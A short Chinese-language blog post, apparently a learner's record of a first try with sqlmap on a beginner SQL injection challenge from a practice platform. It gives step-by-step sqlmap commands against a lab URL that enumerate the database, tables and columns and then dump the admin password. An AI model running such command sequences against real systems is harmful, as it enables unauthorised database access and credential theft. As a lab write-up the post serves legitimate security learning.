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sqlmap的工具初试，之后也会去试其他的渗透工具，但技术有限，对于很多工具只能是一边实践一边加深理
解，写博客也只是看看自己的学习记录。

sql注入的题目来自于封神台

这个题目本身并不复杂，是一题很基础的sql注入题，也正好用于我对sqlmap的入手。
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点击传送门，导航栏上显示的url为“http://rhiq8003.ia.aqlab.cn/?id=1”

打开本地sqlmap,

执行语句：sqlmap -u "http://rhiq8003.ia.aqlab.cn/?id=1"

 探测是否目标url存在sql注入

http://rhiq8003.ia.aqlab.cn/?id=1
http://rhiq8003.ia.aqlab.cn/?id=1


 完成后显示该url使用的是mysql数据库，关键字是id,提交方式是get

紧接着执行语句：sqlmap -u "http://rhiq8003.ia.aqlab.cn/?id=1" --current-db

获取当前数据库名字

得知当前数据库名字为“maoshe”

则再执行语句：sqlmap -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D "maoshe" -tables

 获取maoshe数据库中的表名

 maoshe数据库中有四张表，分别为admin,dirs,new,xss

由题目可知，我们需要管理员密码

所以执行语句：sqlmap -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D "maoshe" -T "admin" -columns

获取字段名，有Id，username，password,va

再执行语句：sqlmap -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D "maoshe" -T "admin" -C "password" --dump



打印出password字段的内容，admin对于的password为hellohack

提交，成功！

 后面的语句执行结果截图忘了，等网站恢复连接后补上

只是试了sqlmap最基本的流程，其他操作和语句作用还需要了解


	浅试sqlmap

